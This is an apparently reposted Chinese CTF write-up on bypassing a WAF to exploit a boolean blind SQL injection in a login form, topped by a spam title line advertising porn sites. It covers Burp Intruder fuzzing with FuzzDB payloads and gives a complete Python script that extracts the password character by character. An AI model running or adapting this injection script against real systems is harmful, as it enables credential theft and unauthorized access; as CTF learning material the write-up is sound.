免费视频淫片aa毛片_日韩高清在线亚洲专区vr_日韩大片免费观看视频播放_亚洲欧美国产精品完整版

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
利用 Burpsuite Fuzz 實(shí)現(xiàn) SQL 注入

0x01 注入前分析

是個典型的登錄框SQL注入題

在源碼上還有hint

首先進(jìn)行注入前的嘗試,觀察是否有報錯情況,或者是有waf:

正常的輸入,分2種情況:

  1. 用戶名正確,顯示密碼錯誤password error

  2. 用戶名錯誤,顯示無此用戶no such user!

猜測驗(yàn)證用戶名和驗(yàn)證密碼是分步進(jìn)行的,語句如下:

select uname from user where uname='xxx'select uname,pwd from user where uname='xxx' and pwd='xxx'

存在注入的情況,顯示naive,證明是有waf的:

簡單測試了一下waf,發(fā)現(xiàn)過濾了or and union select from limit 以及空格,注釋符,媽耶waf還挺嚴(yán),之后不想通過手動測試,于是采用burpsuite進(jìn)行Fuzz測試。

0x02 Burpsuite Fuzzing

Burpsuite Fuzzing主要是通過Burpsuite Intruder模塊,這好比是一把槍,通過特定設(shè)置把子彈(payload)射向目標(biāo)(target-site)。

可是子彈從哪來?我們在這之前要做一些準(zhǔn)備工作:

Fuzzdb:  https://github.com/fuzzdb-pro...

這是一個fuzz測試的payload庫,上面有大量的測試payload,非常實(shí)用,我們本次sql注入就用到它。

我們使用這個payload就可以了 /attack/sql-injection/detect/xplatform.txt

然后打開Burpsuite,可以先開代理抓一個正常請求包,然后轉(zhuǎn)到Intruder模塊,進(jìn)行如下操作:

  1. 選中positions選項(xiàng)卡,選中uname的值部分admin,然后點(diǎn)擊右側(cè)的add§,這樣uname的值就會被標(biāo)記為payload的加載位置,其余部分就不需要標(biāo)記了。

  2. 選中payloads選項(xiàng)卡,點(diǎn)擊圖中所示的按鈕加載剛剛提到的xplatform.txt,這樣payload就被加載進(jìn)去了。

  3. 選中options選項(xiàng)卡,設(shè)置請求線程數(shù)、重試次數(shù)、超時時間等等信息,不一一列舉了。

  4. 最后點(diǎn)擊上方菜單Intruder -> Start attack ,啟動!

等待fuzz完成后,得到如下結(jié)果:

根據(jù)返回包長度可以分辨不同的情況:202是password error,200是no such user!,還有189是naive。

因此可以發(fā)現(xiàn)有可以利用的地方,第42個請求包的返回用戶名正確,證明已經(jīng)繞過waf。

假如并沒有可以利用的payload,可以再觀察189的包看看哪些字段是被ban掉的,從而找到可以利用的字段。結(jié)合前期手測的情況和fuzz的結(jié)果,可以判斷:

可使用:# || && , ascii() left() right() length()

不可使用:空格 -- or and union select from limit mid() substr() substring()

構(gòu)造payload如下,xxx為payload,當(dāng)xxx為真時返回password error,而xxx為假時返回no such user,這就構(gòu)成了一個bool型注入。

uname='||xxx||'&pwd=123

下一步就可以開始實(shí)施注入。

0x03 Blind Injection的自動化注入

這一步開始,我們就通過bool盲注進(jìn)行爆破pwd字段,腳本跑起來

  1. 通過length()獲得pwd字段長度


    最終獲得length(pwd)=30

    當(dāng)你把握不準(zhǔn)的時候,想到hint的提示,通過 length(uname)=5驗(yàn)證你的payload,下面也一樣。
    1. for i in xrange(1,127):
    2. postdata = {
    3. 'uname':''||length(pwd)='+str(i)+'||'',
    4. 'pwd':'123'
    5. }
    6. print i,postdata
    7. r = s.post(url=url,headers=header,data=postdata)
    8. if 'password' in r.text:
    9. print 'get length!'
    10. return
  2. 由于mid() substr()被ban了,只能通過left() right()進(jìn)行字符串截斷,然后逐位爆破30位的pwd


    最后得到30位密碼,登錄進(jìn)去,getflag

    PS:沒有寫多線程,爆破速度比較慢,之后考慮改進(jìn)一下

    PPS:之后還要總結(jié)下各類函數(shù)組合使用方式,比如mid()=substr()=right(left())

    完整腳本如下:


    1. #coding=utf-8
    2. import requests
    3. s = requests.session()
    4. s.keep_alive = False
    5. url = 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/'
    6. header = {
    7. 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0',
    8. 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    9. 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    10. 'Accept-Encoding': 'gzip, deflate',
    11. 'Referer': 'http://23.236.125.55:1000/34fb69d7b4467e33c71b0153e62f7e2b/',
    12. 'Content-Type': 'application/x-www-form-urlencoded'
    13. }
    14. def get_length():
    15. for i in xrange(1,127):
    16. postdata = {
    17. 'uname':''||length(pwd)='+str(i)+'||'',
    18. 'pwd':'123'
    19. }
    20. print i,postdata
    21. r = s.post(url=url,headers=header,data=postdata)
    22. if 'password' in r.text:
    23. print 'get length!'
    24. return
    25. def get_pwd_char():
    26. pwd = ''
    27. for i in xrange(0,30):
    28. for c in xrange(0x20,0x7f):
    29. postdata = {
    30. 'uname':''||(ascii(right(left(pwd,'+str(i+1)+'),1))='+str(c)+')||'',
    31. 'pwd':'123'
    32. }
    33. r = s.post(url=url,headers=header,data=postdata)
    34. if 'password' in r.text:
    35. pwd += chr(c)
    36. print i,pwd
    37. continue
    38. if __name__ == '__main__':
    39. get_length() #length is 30
    40. get_pwd_char()
    1. pwd = ''
    2. for i in xrange(0,30):
    3. for c in xrange(0x20,0x7f):
    4. postdata = {
    5. 'uname':''||(ascii(right(left(pwd,'+str(i+1)+'),1))='+str(c)+')||'',
    6. 'pwd':'123'
    7. }
    8. r = s.post(url=url,headers=header,data=postdata)
    9. if 'password' in r.text:
    10. pwd += chr(c)
    11. print i,pwd
    12. continue

0x04 總結(jié)一下

  • 利用burpsuite進(jìn)行fuzz測試,大大提高了測試效率,也能快速定位注入點(diǎn),這方面在平時的賽題也比較實(shí)用,關(guān)鍵就在于找到好用的fuzz payload。

  • 靈活使用各類sql函數(shù),找到?jīng)]有被ban的函數(shù)進(jìn)行構(gòu)造從而實(shí)現(xiàn)爆破,如果遇到其他類型waf還要進(jìn)行改寫。 

據(jù)說bugkuCTF有類似的一道題 SQL注入2,過去比較一下區(qū)別
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊舉報。
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
Burp Suite使用介紹(一) | WooYun知識庫
DES加密解密(JavaScript
原創(chuàng)干貨 | HTTP協(xié)議繞過某硬件WAF剖析
如何解析Delphi中WebBrowser的BeforeNavigate2事件中的PostData
CTF fuzz 文件包含 php偽協(xié)議
記一次相對完整的滲透測試
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服